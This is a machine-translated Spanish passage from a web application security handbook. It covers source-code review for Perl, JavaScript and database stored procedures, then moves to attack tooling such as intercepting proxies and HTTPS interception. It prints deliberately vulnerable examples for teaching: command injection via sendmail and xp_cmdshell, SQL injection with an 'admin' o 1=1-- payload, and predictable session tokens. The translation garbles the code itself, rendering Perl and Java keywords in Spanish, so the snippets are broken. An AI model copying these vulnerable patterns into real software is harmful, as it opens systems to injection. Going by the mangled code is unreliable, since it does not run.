Además, si el parámetro de nombre de archivo comienza o termina con el carácter de barra
vertical, el contenido de este parámetro se pasa a un shell de comandos. Si un atacante puede
inyectar datos que contienen metacaracteres de shell, como la barra vertical o el punto y coma, es
posible que pueda realizar una ejecución de comando arbitraria. Por ejemplo, en el siguiente
código, un atacante puede inyectar en el parámetro $useraddr para ejecutar comandos del sistema:
$direcciónusuario = $consulta-
>param(“direcciónusuario”); abierto (CORREO, “| /usr/bin/
sendmail $useraddr”); imprimir CORREO “Para: $useraddr\n”;
...
La función selectall_arrayref envía una consulta a una base de datos y recupera los resultados
como una matriz de matrices. La función do ejecuta una consulta y simplemente devuelve el
número de filas afectadas. En ambos casos, la instrucción SQL se pasa como una cadena simple.
Si la entrada controlable por el usuario forma parte del parámetro de cadena, la aplicación
probablemente sea vulnerable a la inyección SQL. Por ejemplo:
mi $nombre de usuario = “admin' o 1=1--”; mi

$contraseña = “foo”; my $sql=”SELECT * FROM
usuarios WHERE nombre de usuario = '$nombre de usuario' Y contraseña =
'$contraseña'”; mi
$resultado = $db_connection->selectall_arrayref($sql)

Las funciones preparar y ejecutar se pueden usar para crear declaraciones preparadas, lo que
permite que una aplicación cree una consulta SQL que contenga parámetros
marcadores de posición y establecer sus valores de una manera segura y segura. Si se

usa según lo previsto, este mecanismo no es vulnerable a la inyección de SQL. Por ejemplo:
mi $nombre de usuario = “admin' o 1=1--”; mi

$contraseña = “foo”; my $sql = $db_connection-
>prepare(“SELECCIONAR * DE usuarios
DONDE nombre de usuario = ? Y contraseña = ?”);
$sql->ejecutar($nombre de usuario, $contraseña);

eval se puede usar para ejecutar dinámicamente una cadena que contiene código Perl. El delimitador
de punto y coma se puede usar para agrupar varias declaraciones. Si se pasan datos controlables por
el usuario a esta función, la aplicación probablemente sea vulnerable a la inyección de secuencias de
comandos.
Las siguientes funciones se pueden utilizar para ejecutar comandos del sistema operativo:
sistema n
ejecutivo _
nqx _
n El operador de acento grave (`)
En todos estos casos, los comandos se pueden encadenar usando el | personaje.

Si los datos controlables por el usuario se pasan sin filtrar a cualquiera de estas funciones, la aplicación
probablemente sea vulnerable a la ejecución de comandos arbitrarios.
Redirección de URL
La función de redirección , que es miembro del objeto de consulta CGI, toma una cadena
que contiene una URL relativa o absoluta, a la que se redirige al usuario. Si el valor de
esta cadena es controlable por el usuario, la aplicación probablemente sea más
vulnerable a un vector de phishing.
Enchufes
Después de que se crea un socket usando socket, se conecta a un host remoto a través de
una llamada para conectarse, que toma una estructura sockaddr_in compuesta por los
detalles del host y el puerto del destino. Si esta información del host es controlable por el
usuario de alguna manera, la aplicación puede explotarse para generar conexiones de red a
hosts arbitrarios, ya sea en Internet o en la DMZ privada o en la red interna en la que se aloja
la aplicación.
Configuración del entorno Perl

Perl proporciona un modo corrupto que ayuda a evitar que la entrada proporcionada por el
usuario pase a funciones potencialmente peligrosas. Puede ejecutar programas de Perl en
modo corrupto pasando el indicador -T al intérprete de Perl de la siguiente manera:
#!/usr/bin/perl -T
Cuando un programa se ejecuta en modo contaminado, el intérprete rastrea cada elemento

de entrada recibido desde fuera del programa y lo trata como contaminado. Si otra variable
tiene su valor asignado sobre la base de un elemento viciado, también se trata como viciado.
Por ejemplo:
$ruta = “/casa/pubs” # $ruta no está contaminada

$nombre_archivo = param(“archivo”); # $filename es del parámetro de solicitud y
# está contaminado
$ruta_completa = $ruta.$nombrearchivo; # $full_path ahora contaminado
Las variables corruptas no se pueden pasar a un rango de comandos poderosos,

incluidos eval , system, exec y open. Para usar datos corruptos en operaciones
confidenciales, los datos deben "limpiarse" realizando una operación de coincidencia de
patrones y extrayendo las subcadenas coincidentes. Por ejemplo:
$ruta_completa =~ m/^([a-zA-Z1-9]+)$/; # coincide con la subcoincidencia alfanumérica

# en $ruta_completa
$clean_full_path = $1; # establecer $clean_full_path en el
# primera subcoincidencia
# $clean_full_path no está contaminado
Aunque el mecanismo del modo contaminado está diseñado para ayudar a proteger contra
muchos tipos de vulnerabilidades, solo es efectivo si los desarrolladores usan expresiones
regulares apropiadas al extraer datos limpios de entradas contaminadas. Si una expresión
es demasiado liberal y extrae datos que pueden causar problemas en el contexto en el que se
se utilizará, la protección del modo corrupto falla y la aplicación sigue siendo vulnerable .
En efecto, el mecanismo del modo contaminado recuerda a los programadores que realicen
una validación adecuada de todas las entradas antes de usarlas en operaciones peligrosas.
No puede garantizar que la validación de entrada implementada sea adecuada.
JavaScript
Por supuesto, se puede acceder a JavaScript del lado del cliente sin necesidad de acceso
privilegiado a la aplicación, lo que le permite realizar una revisión de código centrada en la
seguridad en cualquier situación. Un enfoque clave de esta revisión es identificar cualquier
vulnerabilidad, como XSS basado en DOM, que se introduce en el componente del cliente
y deja a los usuarios vulnerables a los ataques (consulte el Capítulo 12). Otra razón para
revisar JavaScript es comprender qué tipos de validación de entrada se implementan en el
cliente y también cómo se construyen las interfaces de usuario generadas dinámicamente.
Al revisar JavaScript, debe asegurarse de incluir archivos .js y

scripts incrustados en contenido HTML.
Las API clave en las que hay que centrarse son aquellas que leen datos basados en
DOM y que escriben o modifican el documento actual, como se muestra en la Tabla 19-12.
Tabla 19-12: API de JavaScript que leen datos basados en DOM
API DESCRIPCIÓN
documento.ubicación Puede usarse para acceder a datos DOM que pueden

controlarse a través de una URL manipulada y, por lo tanto,
documento.URL
puede representar un punto de entrada para que los datos
documento.URLUsincodificar manipulados ataquen a otros usuarios de la aplicación.
documento.referente
ventana.ubicación
documento.escribir() Se puede utilizar para actualizar el contenido del

documento y para ejecutar código JavaScript de forma
documento.writeln()
dinámica. Si se pasan datos controlables por el atacante a
documento.cuerpo.innerHtml cualquiera de estas API, esto puede proporcionar una
forma de ejecutar JavaScript arbitrario dentro del navegador
evaluar() de la víctima.
ventana.execScript()
ventana.establecerIntervalo()
ventana.setTimeout()
Componentes de código de base de datos
Las aplicaciones web utilizan cada vez más las bases de datos para mucho más que el almacenamiento
pasivo de datos. Las bases de datos actuales contienen ricas interfaces de programación, lo que
permite implementar una lógica comercial sustancial dentro del nivel de la base de datos. Los
desarrolladores utilizan con frecuencia componentes de código de base de datos, como procedimientos
almacenados, disparadores y funciones definidas por el usuario, para llevar a cabo tareas clave. Por
lo tanto, cuando revise el código fuente de una aplicación web, debe asegurarse de que toda la lógica
implementada en la base de datos esté incluida en el alcance de la revisión.
Los errores de programación en los componentes del código de la base de datos pueden dar lugar
a cualquiera de los diversos defectos de seguridad descritos en este capítulo. En la práctica, sin
embargo, debe estar atento a dos áreas principales de vulnerabilidades. Primero, los componentes de
la base de datos pueden contener fallas de inyección SQL. En segundo lugar, la entrada del usuario
puede pasar a funciones potencialmente peligrosas de manera insegura.
Inyección SQL
El Capítulo 9 describió cómo las sentencias preparadas se pueden usar como una alternativa segura
a las sentencias SQL dinámicas para prevenir ataques de inyección SQL. Sin embargo, incluso si las
declaraciones preparadas se utilizan correctamente en el propio código de la aplicación web , aún
pueden existir fallas de inyección de SQL si los componentes del código de la base de datos construyen
consultas a partir de la entrada del usuario de manera insegura.
El siguiente es un ejemplo de un procedimiento almacenado que es vulnerable a SQL
inyección en el parámetro @name :
CREAR PROCEDIMIENTO show_current_orders

(@nombrevarchar(400) = NULL)
COMO
DECLARAR @sql nvarchar(4000)

SELECCIONE @sql = 'SELECCIONE id_num, cadena de búsqueda DESDE órdenes de búsqueda DONDE ' +
'''
'cadena de búsqueda = + @nombre + '''';
EJECUTIVO (@sql)
IR
Incluso si la aplicación pasa el valor del nombre proporcionado por el usuario al

procedimiento almacenado de manera segura, el propio procedimiento lo concatena
directamente en una consulta dinámica y, por lo tanto, es vulnerable.
Diferentes plataformas de bases de datos usan diferentes métodos para realizar dinámicas.
ejecución de cadenas que contienen sentencias SQL. Por ejemplo:
n MS-SQL — EXEC
n Oracle — EJECUTAR INMEDIATO
n Sybase — EXEC
n DB2 — EXEC SQL
Cualquier aparición de estas expresiones dentro de los componentes del código de la base de datos
debe revisarse detenidamente. Si se utiliza la entrada del usuario para construir la cadena SQL, la
aplicación puede ser vulnerable a la inyección SQL.
NOTA En Oracle, los procedimientos almacenados se ejecutan de forma predeterminada

con los permisos del definidor, en lugar del invocador (como ocurre con los programas
SUID en UNIX). Por lo tanto, si la aplicación usa una cuenta con pocos privilegios para
acceder a la base de datos y los procedimientos almacenados se crearon usando una
cuenta de DBA, una falla de inyección SQL dentro de un procedimiento puede permitirle
escalar privilegios y realizar consultas arbitrarias en la base de datos.
Llamadas a funciones peligrosas

Los componentes de código personalizados, como los procedimientos almacenados, a menudo se usan
para realizar acciones inusuales o poderosas. Si los datos proporcionados por el usuario se pasan a una
función potencialmente peligrosa de una manera no segura, esto puede dar lugar a varios tipos de
capacidades de vulnerabilidad, según la naturaleza de la función. Por ejemplo, el siguiente procedimiento
almacenado es vulnerable a la inyección de comandos en los parámetros @loadfile y @loaddir :
Crear import_data (@loadfile varchar(25), @loaddir varchar(25) )

como
comenzar seleccione @cmdstring = “$PATH/firstload” exec + @cargararchivo + ““

+ @loaddir
@ret = xp_cmdshell @cmdstring
...
...
Final
Las siguientes funciones pueden ser potencialmente peligrosas si se invocan de forma no segura:
n Potentes procedimientos almacenados predeterminados en MS-SQL y Sybase que permiten

ejecución de comandos, acceso al registro, etc.
n Funciones que proporcionan acceso al sistema de archivos

n Funciones definidas por el usuario que enlazan con bibliotecas fuera de la base de datos
n Funciones que dan como resultado el acceso a la red, como a través de OpenRowSet en
MS-SQL o un enlace de base de datos en Oracle
Herramientas para la exploración de código
La metodología que hemos descrito para realizar una revisión de código consiste
esencialmente en leer el código fuente y buscar patrones que indiquen la captura de la
entrada del usuario y el uso de API potencialmente peligrosas. Para llevar a cabo una
revisión de código de manera efectiva, es preferible utilizar una herramienta inteligente para
navegar por la base de código. Necesita una herramienta que comprenda las construcciones
de código en un idioma en particular, proporcione información contextual sobre expresiones
y API específicas, y facilite su navegación.
En muchos idiomas, puede utilizar uno de los estudios de desarrollo disponibles, como
Visual Studio, NetBeans o Eclipse. Además, varias herramientas genéricas de exploración
de código admiten numerosos idiomas y están optimizadas para la visualización del código
en lugar del desarrollo. La herramienta preferida de los autores es Source Insight, que se
muestra en la Figura 19-1. Admite una navegación sencilla por el árbol de fuentes, una
función de búsqueda versátil, un panel de vista previa para mostrar información contextual
sobre cualquier expresión seleccionada y una navegación rápida por el código base.
Figura 19-1: Source Insight se utiliza para buscar y examinar el código fuente de
una aplicación web
Resumen
Muchas personas que tienen una gran experiencia en la prueba de aplicaciones web
de forma interactiva muestran un miedo irracional a mirar dentro del código base de
una aplicación para descubrir vulnerabilidades directamente. Este miedo es
comprensible para las personas que no son programadores, pero rara vez se justifica.
Cualquiera que esté familiarizado con el manejo de computadoras puede, con una
pequeña inversión, obtener el conocimiento y la confianza suficientes para realizar una
auditoría de código efectiva. Su objetivo al revisar el código base de una aplicación no
necesita ser descubrir “todas” las vulnerabilidades que contiene, como tampoco se
fijaría esta meta poco realista al realizar pruebas prácticas. Más razonablemente,
puede aspirar a comprender parte del procesamiento clave que realiza la aplicación en
la entrada proporcionada por el usuario y reconocer algunas de las firmas que apuntan a problemas potenciales
Enfocada de esta manera, la revisión de código puede ser un complemento extremadamente útil
para las pruebas de caja negra más familiares. Puede mejorar la efectividad de esas pruebas y
revelar defectos que pueden ser extremadamente difíciles de descubrir cuando se trata de una
aplicación completamente externa.
Preguntas
1. Enumere tres categorías de vulnerabilidades comunes que a menudo tienen

firmas reconocibles dentro del código fuente.
2. ¿Por qué identificar todas las fuentes de entrada del usuario a veces puede ser un desafío
al revisar una aplicación PHP?
3. Considere los siguientes dos métodos para realizar una consulta SQL que incorpore la
entrada proporcionada por el usuario:
// Método 1
String artista = request.getParameter(“artista”).replaceAll(“'”, “''”); String género = request.getParameter(“género”).replaceAll(“'”,
“''”); String album = request.getParameter(“álbum”).replaceAll(“'”, “''”); Sentencia s = conexión.createStatement();
s.executeQuery(“SELECCIONE * DESDE música DONDE artista =
'” + artista +
'” '” Y álbum = '”
'” Y género = + genero + + álbum + “'”);
// método 2
String artista = request.getParameter(“artista”); String género =
request.getParameter(“género”); String album = request.getParameter(“álbum”);
Declaración s = conexión.prepareStatement(
“SELECCIONE * DE música DONDE artista = '” + artista +
“' Y género = ? Y álbum = ?”);

s.setString(1, género); s.setString(2,

álbum);
s.executeQuery();
¿Cuál de estos métodos es más seguro y por qué?

4. Está revisando el código base de una aplicación Java. Durante el reconocimiento
inicial , busca todos los usos de la API HttpServletRequest.getParameter . El
siguiente código te llama la atención:
setWelcomeMessage vacío privado (solicitud HttpServletRequest) lanza
ServletException
{
Cadena nombre = request.getParameter(“nombre”);
si (nombre == nulo)
nombre = “”;
m_welcomeMessage = “Bienvenido” + nombre +”!”;

}
¿Qué posible vulnerabilidad podría indicar este código? ¿Qué análisis de

código adicional necesitaría realizar para confi rmar si la aplicación es realmente
vulnerable?
5. Está revisando el mecanismo que utiliza una aplicación para generar tokens de
sesión. El código correspondiente es el siguiente:
TokenGenerator de clase pública

{
privado java.util.Random r = new java.util.Random();
nextToken largo sincronizado público ()

{
largo l = r.nextInt();
largo m = r.nextInt();
devuelve l + (m << 32);

}
}
¿Los tokens de sesión de la aplicación se generan de manera predecible?

Explique su respuesta completamente.
CAPÍTULO R
20
Una aplicación web
Caja de herramientas del hacker
Algunos ataques a aplicaciones web se pueden realizar utilizando solo un navegador web
estándar; sin embargo, la mayoría de ellos requieren el uso de algunas herramientas adicionales.
Muchas de estas herramientas funcionan junto con el navegador, ya sea como extensiones
que modifican la propia funcionalidad del navegador o como herramientas externas que se
ejecutan junto con el navegador y modifican su interacción con la aplicación de destino.
El elemento más importante de su caja de herramientas cae en esta última categoría.
Funciona como un proxy web interceptor, lo que le permite ver y modificar todos los mensajes
HTTP que pasan entre su navegador y la aplicación de destino. A lo largo de los años, los
proxies de interceptación básicos se han convertido en potentes conjuntos de herramientas
integradas que contienen muchas otras funciones diseñadas para ayudarlo a atacar
aplicaciones web. Este capítulo examina cómo funcionan estas herramientas y describe cómo
puede utilizar mejor su funcionalidad.
La segunda categoría principal de herramientas es el escáner de aplicaciones web independiente.
Este producto está diseñado para automatizar muchas de las tareas involucradas en atacar una
aplicación web, desde el mapeo inicial hasta la búsqueda de vulnerabilidades. Este capítulo examina
las fortalezas y debilidades inherentes de los escáneres de aplicaciones web independientes y
analiza brevemente algunas herramientas actuales en esta área.
Finalmente, numerosas herramientas más pequeñas están diseñadas para realizar tareas
específicas al probar aplicaciones web. Aunque puede usar estas herramientas solo ocasionalmente,
pueden resultar extremadamente útiles en situaciones particulares.
747
748 Capítulo 20 n Juego de herramientas para hackers de aplicaciones web
Navegadores web
Un navegador web no es exactamente una herramienta de pirateo, ya que es el medio

estándar por el cual las aplicaciones web están diseñadas para acceder. Sin embargo,
su elección de navegador web puede tener un impacto en su efectividad al atacar una
aplicación web. Además, hay varias extensiones disponibles para diferentes tipos de
navegadores, que pueden ayudarlo a realizar un ataque. Esta sección examina
brevemente tres navegadores populares y algunas de las extensiones disponibles para ellos.
explorador de Internet
Internet Explorer (IE) de Microsoft ha sido durante muchos años el navegador web más utilizado. Lo
sigue siendo según la mayoría de las estimaciones, capturando aproximadamente el 45% del
mercado. Prácticamente todas las aplicaciones web están diseñadas y probadas en las versiones
actuales de IE. Esto hace que IE sea una buena opción para un atacante, ya que el contenido y la
funcionalidad de la mayoría de las aplicaciones se muestran correctamente y se pueden usar
correctamente dentro de IE. En particular, otros navegadores no son compatibles de forma nativa
con los controles ActiveX, lo que hace que IE sea obligatorio si una aplicación emplea esta tecnología.
Una restricción impuesta por IE es que está restringido a trabajar con la plataforma Microsoft
Windows.
Debido a la adopción generalizada de IE, cuando esté probando secuencias de comandos entre
sitios y otros ataques contra usuarios de aplicaciones, siempre debe intentar que sus ataques
funcionen contra este navegador si es posible (consulte el Capítulo 12).
NOTA Internet Explorer 8 introdujo un fi ltro anti-XSS que está habilitado de

manera predeterminada. Como se describe en el Capítulo 12, este filtro intenta
bloquear la ejecución de la mayoría de los ataques XSS estándar y, por lo tanto,
causa problemas cuando se prueban las vulnerabilidades XSS contra una aplicación
de destino. Normalmente debería deshabilitar el fi ltro XSS durante la prueba.
Idealmente, cuando haya confirmado una vulnerabilidad XSS, debería volver a
habilitar el filtro y ver si puede encontrar una manera de omitir el filtro utilizando la vulnerabilidad que ha encont
Varias extensiones útiles están disponibles para IE que pueden ser de ayuda al atacar aplicaciones
web, incluidas las siguientes:
n HttpWatch, que se muestra en la Figura 20-1, analiza todas las solicitudes y respuestas de
HTTP y brinda detalles de encabezados, cookies, URL, parámetros de solicitud, códigos de
estado de HTTP y redireccionamientos.
n IEWatch realiza funciones similares a HttpWatch. También realiza algunos análisis de

documentos HTML, imágenes, scripts y similares.
Capítulo 20 n Juego de herramientas de un hacker de aplicaciones web 749
Figura 20-1: HttpWatch analiza las solicitudes HTTP emitidas por Internet Explorer
Firefox
Firefox es actualmente el segundo navegador web más utilizado. Según la mayoría de
las estimaciones , representa aproximadamente el 35% del mercado. La mayoría de las
aplicaciones web funcionan correctamente en Firefox; sin embargo, no tiene soporte nativo
para controles ActiveX.
Hay muchas variaciones sutiles entre el manejo de HTML y JavaScript de los diferentes
navegadores, particularmente cuando no cumplen estrictamente con los estándares. A
menudo, descubrirá que las defensas de una aplicación contra errores , como secuencias
de comandos entre sitios, significan que sus ataques no son efectivos contra todas las
plataformas de navegador. La popularidad de Firefox es suficiente para que los exploits
XSS específi cos de Firefox sean perfectamente válidos, por lo que debe probarlos con
Firefox si encuentra dificultades para que funcionen con IE. Además, las características
específi cas de Firefox históricamente han permitido una variedad de ataques que no son
posibles contra IE, como se describe en el Capítulo 13.
Hay un gran número de extensiones de navegador disponibles para Firefox que pueden ser
útil cuando se atacan aplicaciones web, incluidas las siguientes:
n HttpWatch también está disponible para Firefox. n
FoxyProxy permite una administración fl exible de la configuración de proxy del navegador , lo que
permite cambiar rápidamente, configurar diferentes proxies para diferentes URL, etc.
n LiveHTTPHeaders le permite modificar solicitudes y respuestas y reproducir solicitudes individuales.

n PrefBar le permite habilitar y deshabilitar las cookies, lo que permite verificaciones rápidas de
control de acceso, así como cambiar entre diferentes proxies, borrar el caché y cambiar el agente
de usuario del navegador.
n Wappalyzer descubre tecnologías en uso en la página actual, mostrando

un icono para cada uno que se encuentra en la barra de URL.
n La barra de herramientas Web Developer proporciona una variedad de funciones útiles. Entre las
más útiles se encuentran la capacidad de ver todos los enlaces en una página, alterar HTML
para hacer que los campos de formulario se puedan escribir, eliminar longitudes máximas,
mostrar campos de formulario ocultos y cambiar un método de solicitud de GET a POST.
Cromo
Chrome es relativamente nuevo en la escena de los navegadores, pero ha ganado popularidad
rápidamente, capturando aproximadamente el 15% del mercado.
Hay varias extensiones de navegador disponibles para Chrome que pueden ser útiles cuando se
atacan aplicaciones web, incluidas las siguientes:
n XSS Rays es una extensión que prueba las vulnerabilidades XSS y permite la inspección DOM.
n El editor de cookies permite ver y editar cookies en el navegador. n Wappalyzer también
está disponible para Chrome. n La barra de herramientas para desarrolladores web
también está disponible para Chrome.
Es probable que Chrome contenga una buena cantidad de características extravagantes que se
pueden usar al construir exploits para XSS y otras vulnerabilidades. Debido a que Chrome es
relativamente nuevo, es probable que estos sean un objetivo fructífero para la investigación en los
próximos años.
Suites de pruebas integradas
Después del navegador web esencial, el elemento más útil en su conjunto de herramientas cuando
se ataca una aplicación web es un proxy de interceptación. En los primeros días de las aplicaciones
web, el proxy de intercepción era una herramienta independiente que proporcionaba una
funcionalidad mínima. El venerable representante de Aquiles simplemente mostró cada solicitud y
respuesta para su edición. Aunque era extremadamente básico, con errores y un dolor de cabeza
para usar, Achilles fue suficiente para comprometer muchas aplicaciones web en manos de un
atacante experto.
A lo largo de los años, el humilde proxy de interceptación se ha convertido en una serie de
conjuntos de herramientas altamente funcionales, cada uno de los cuales contiene varias
herramientas interconectadas diseñadas para facilitar las tareas comunes involucradas en atacar una aplicación web.
Los evaluadores de seguridad de aplicaciones web suelen utilizar varios conjuntos de pruebas:
n Burp Suite
n WebEscarabajo
n Paros
n Zed Attack Proxy n
Andíparos
n violinista
n gato
n Carlos
Estos conjuntos de herramientas difieren ampliamente en sus capacidades, y algunos son más
nuevos y experimentales que otros. En términos de funcionalidad pura, Burp Suite es la más
sofisticada y actualmente es el único conjunto de herramientas que contiene toda la funcionalidad
descrita en las siguientes secciones. Hasta cierto punto, qué herramientas usas es una cuestión de
preferencia personal. Si aún no tiene una preferencia, le recomendamos que descargue y use varias
de las suites en una situación real y establezca cuál se adapta mejor a sus necesidades.
Esta sección examina cómo funcionan las herramientas y describe los flujos de trabajo comunes
involucrados para hacer el mejor uso de ellas en las pruebas de su aplicación web.
Cómo funcionan las herramientas
Cada conjunto de pruebas integrado contiene varias herramientas complementarias que comparten
información sobre la aplicación de destino. Por lo general, el atacante se enfrenta con el
aplicación de la manera normal a través de su navegador. Las herramientas monitorean las

solicitudes y respuestas resultantes, almacenan todos los detalles relevantes sobre la aplicación
de destino y brindan numerosas funciones útiles. La suite típica contiene los siguientes
componentes básicos:
n Un proxy interceptor n Una
araña de aplicaciones web n Un
fuzzer de aplicaciones web personalizable n Un
escáner de vulnerabilidades n Una herramienta de
solicitud manual n Funciones para analizar cookies
de sesión y otros tokens

n Diversas funciones y utilidades compartidas
Proxies interceptores
El proxy de interceptación se encuentra en el corazón del conjunto de herramientas y sigue
siendo hoy el único componente esencial. Para usar un proxy de interceptación, debe configurar
su navegador para usar como su servidor proxy un puerto en la máquina local. La herramienta
proxy está configurada para escuchar en este puerto y recibe todas las solicitudes emitidas por
el navegador. Debido a que el proxy tiene acceso a las comunicaciones bidireccionales entre el
navegador y el servidor web de destino, puede detener cada mensaje para que el usuario lo
revise y modifique y realizar otras funciones útiles, como se muestra en la Figura 20-2.
Configuración de su navegador
Si nunca ha configurado su navegador para usar un servidor proxy, esto es fácil de hacer en
cualquier navegador. Primero, establezca qué puerto local usa su proxy de intercepción de forma
predeterminada para escuchar las conexiones (generalmente 8080). Luego siga los pasos
requeridos por su navegador:
n En Internet Explorer, seleccione Herramientas ÿ Opciones de Internet ÿ Conexiones ÿ

Configuración de LAN. Asegúrese de que las casillas "Detectar configuración
automáticamente" y "Usar secuencia de comandos de configuración automática" no estén
marcadas. Asegúrese de que la casilla "Usar un servidor proxy para su LAN" esté
marcada. En el campo Dirección, ingrese 127.0.0.1, y en el campo Puerto, ingrese el
puerto utilizado por su proxy. Haga clic en el botón Avanzado y asegúrese de que la
casilla "Usar el mismo servidor proxy para todos los protocolos" esté marcada. Si el
nombre de host de la aplicación que está atacando coincide con alguna de las expresiones en el mensaje "No usar se
para las direcciones que comienzan con el recuadro, elimine estas expresiones. Haga clic en Aceptar
en todos los cuadros de diálogo para confi rmar la nueva configuración.
n En Firefox, seleccione Herramientas ÿ Opciones ÿ Avanzado ÿ Red ÿ Configuración.

Asegúrese de que la opción Configuración de proxy manual esté seleccionada. En el campo Proxy
HTTP , ingrese 127.0.0.1, y en el campo Puerto adyacente, ingrese el puerto utilizado por su proxy.
Asegúrese de que la casilla "Usar este servidor proxy para todos los protocolos" esté marcada. Si el
nombre de host de la aplicación que está atacando coincide con alguna de las expresiones del cuadro
"Sin proxy para", elimine estas expresiones. Haga clic en Aceptar en todos los cuadros de diálogo
para confi rmar la nueva configuración. n Chrome usa la configuración de proxy del navegador nativo
que se envía con el sistema operativo en el que se ejecuta. Puede acceder a esta configuración a través
de Chrome seleccionando Opciones ÿ Debajo del capó ÿ Red ÿ Cambiar configuración de proxy.
Figura 20-2: Edición de una solicitud HTTP sobre la marcha utilizando un proxy de interceptación
TRABAJANDO CON CLIENTES NO CONSCIENTES DE PROXY
Ocasionalmente, puede encontrarse probando aplicaciones que utilizan un cliente

pesado que se ejecuta fuera del navegador. Muchos de estos clientes no ofrecen
ninguna configuración para configurar un proxy HTTP; simplemente intentan conectarse
directamente al servidor web que aloja la aplicación. Este comportamiento le impide
usar simplemente un proxy de interceptación para ver y modificar el tráfico de la
aplicación.
Afortunadamente, Burp Suite ofrece algunas funciones que le permiten continuar
trabajando en esta situación. Para hacerlo, debe seguir estos pasos:
1. Modifique el archivo de hosts de su sistema operativo para resolver los nombres

de host utilizados por la aplicación en su dirección de loopback (127.0.0.1). Por ejemplo:
127.0.0.1 www.wahh-app.com
Esto hace que las solicitudes del cliente grueso se redirijan a su propia
computadora.
2. Para cada puerto de destino utilizado por la aplicación (generalmente 80 y 443),

configure un agente de escucha Burp Proxy en este puerto de su interfaz de
bucle invertido y configure el agente de escucha para que admita el proxy
invisible. La función de proxy invisible significa que el oyente aceptará las
solicitudes que no sean de estilo proxy enviadas por el cliente grueso, que se
han redirigido a su dirección de bucle invertido.
3. El proxy de modo invisible admite solicitudes HTTP y HTTPS. a pre

Para evitar errores fatales de certificado con SSL, puede ser necesario configurar
su agente de escucha invisible para presentar un certificado SSL con un nombre
de host específico que coincida con lo que espera el cliente pesado. La siguiente
sección tiene detalles sobre cómo puede evitar los problemas de certificados
causados por la intercepción de proxies.
4. Para cada nombre de host que haya redirigido utilizando su archivo de hosts,
configure Burp para resolver el nombre de host en su dirección IP original.
Esta configuración se puede encontrar en Opciones ÿ Conexiones ÿ Resolución de nombre de host.
Le permiten especificar asignaciones personalizadas de nombres de dominio a
direcciones IP para anular la propia resolución DNS de su computadora. Esto
hace que las solicitudes salientes de Burp se dirijan al servidor de destino correcto.
(Sin este paso, las solicitudes se redirigirían a su propia computadora en un
bucle infinito).
TRABAJANDO CON CLIENTES NO CONSCIENTES DE PROXY
5. Cuando funciona en modo invisible, Burp Proxy identifica el host de

destino al que debe reenviarse cada solicitud mediante el
encabezado Host que aparece en las solicitudes. Si el cliente pesado
que está probando no incluye un encabezado de Host en las solicitudes,
Burp no puede reenviar las solicitudes correctamente. Si está tratando
con un solo host de destino, puede solucionar este problema
configurando el detector de proxy invisible para redirigir todas sus
solicitudes al host de destino requerido. Si está tratando con varios
hosts de destino, probablemente necesite ejecutar varias instancias de
Burp en varias máquinas y usar su archivo de hosts para redirigir el tráfico de cada host de de
Proxies interceptores y HTTPS Cuando
se trata de comunicaciones HTTP sin cifrar, un proxy interceptor funciona esencialmente de la misma
manera que un proxy web normal, como se describe en el Capítulo 3. El navegador envía solicitudes
HTTP estándar al proxy, con la excepción de que la URL en el La primera línea de la solicitud contiene
el nombre de host completo del servidor web de destino. El proxy analiza este nombre de host, lo
resuelve en una dirección IP, convierte la solicitud a su equivalente estándar que no es de proxy y la
reenvía al servidor de destino. Cuando ese servidor responde, el proxy reenvía la respuesta al
navegador del cliente.
Para las comunicaciones HTTPS, el navegador primero realiza una solicitud de texto
claro al proxy mediante el método CONNECT , especificando el nombre de host y el
puerto del servidor de destino. Cuando se utiliza un proxy normal (que no intercepta), el
proxy responde con un código de estado HTTP 200 y mantiene abierta la conexión TCP.
A partir de ese momento (para esa conexión), el proxy actúa como un relé de nivel TCP
para el servidor de destino. Luego, el navegador realiza un protocolo de enlace SSL
con el servidor de destino, configurando un túnel seguro a través del cual pasar
mensajes HTTP. Con un proxy interceptor, este proceso debe funcionar de manera
diferente para que el proxy pueda acceder a los mensajes HTTP que el navegador
envía a través del túnel. Como se muestra en la Figura 20-3, después de responder a
la solicitud de CONEXIÓN con un código de estado HTTP 200, el proxy interceptor no
actúa como un retransmisor, sino que realiza el final del protocolo de enlace SSL del
servidor con el navegador. También actúa como un cliente SSL y realiza un segundo
protocolo de enlace SSL con el servidor web de destino. Por lo tanto, se crean dos
túneles SSL, con el proxy actuando como intermediario. Esto permite que el proxy descifre cada mensaje
a través de cualquiera de los túneles, obtenga acceso a su forma de texto claro y luego
vuelva a cifrarlo para transmitirlo a través del otro túnel.
Agresor Internet Objetivo
CONECTAR aplicación wahh: 433
200 Conexión establecida
Proxy interceptor
Túnel SSL 1 Túnel SSL 2
GET / HTTP/1.1
1101001000100 Agente de usuario: 1001001101000
11010100000... Mozilla/ 4.0 (compatible; 10001001001...
MSIE 7.0; Windows NT 5.1)
...
HTTP/1.1 200 OK
1100100110010 Tipo de contenido: 0010010100001
01010101110... texto/ html Longitud del 01111010100...
contenido: 24246
<html><cabeza>...
Figura 20-3: Un proxy interceptor le permite ver y modificar las comunicaciones HTTPS
Por supuesto, si cualquier atacante posicionado adecuadamente pudiera realizar

este truco sin ser detectado, SSL no tendría sentido, ya que no protegería la
privacidad y la integridad de las comunicaciones entre el navegador y el servidor.
Por esta razón, una parte clave del protocolo de enlace SSL implica el uso de
certificados criptográficos para autenticar la identidad de cualquiera de las partes.
Para realizar el protocolo de enlace SSL final del servidor con el navegador, el proxy
interceptor debe usar su propio certificado SSL, ya que no tiene acceso a la clave
privada utilizada por el servidor de destino.
En esta situación, para protegerse contra ataques, los navegadores advierten al
usuario, permitiéndole ver el certificado falso y decidir si confía en él. La Figura 20-4
muestra la advertencia presentada por IE. Cuando se utiliza un proxy interceptor,
tanto el navegador como el proxy están completamente bajo el control del atacante,
por lo que puede aceptar el certificado falso y permitir que el proxy cree dos túneles SSL.
Cuando usa su navegador para probar una aplicación que usa un solo dominio,
maneja la advertencia de seguridad del navegador y acepta el proxy
certificado de cosecha propia de esta manera normalmente es sencillo. Sin embargo, en otras
situaciones aún puede encontrar problemas. Muchas de las aplicaciones actuales implican
numerosas solicitudes entre dominios de imágenes, código de script y otros recursos. Cuando
se usa HTTPS, cada solicitud a un dominio externo hace que el navegador reciba el certificado
SSL no válido del proxy. En esta situación, los navegadores no suelen advertir al usuario y,
por tanto, no le dan la opción de aceptar el certificado SSL no válido para cada dominio. Más
bien, normalmente descartan las solicitudes entre dominios, ya sea de forma silenciosa o con
una alerta que indica que esto ha ocurrido.
Figura 20-4: El uso de un proxy interceptor con comunicaciones HTTPS genera una
advertencia en el navegador del atacante
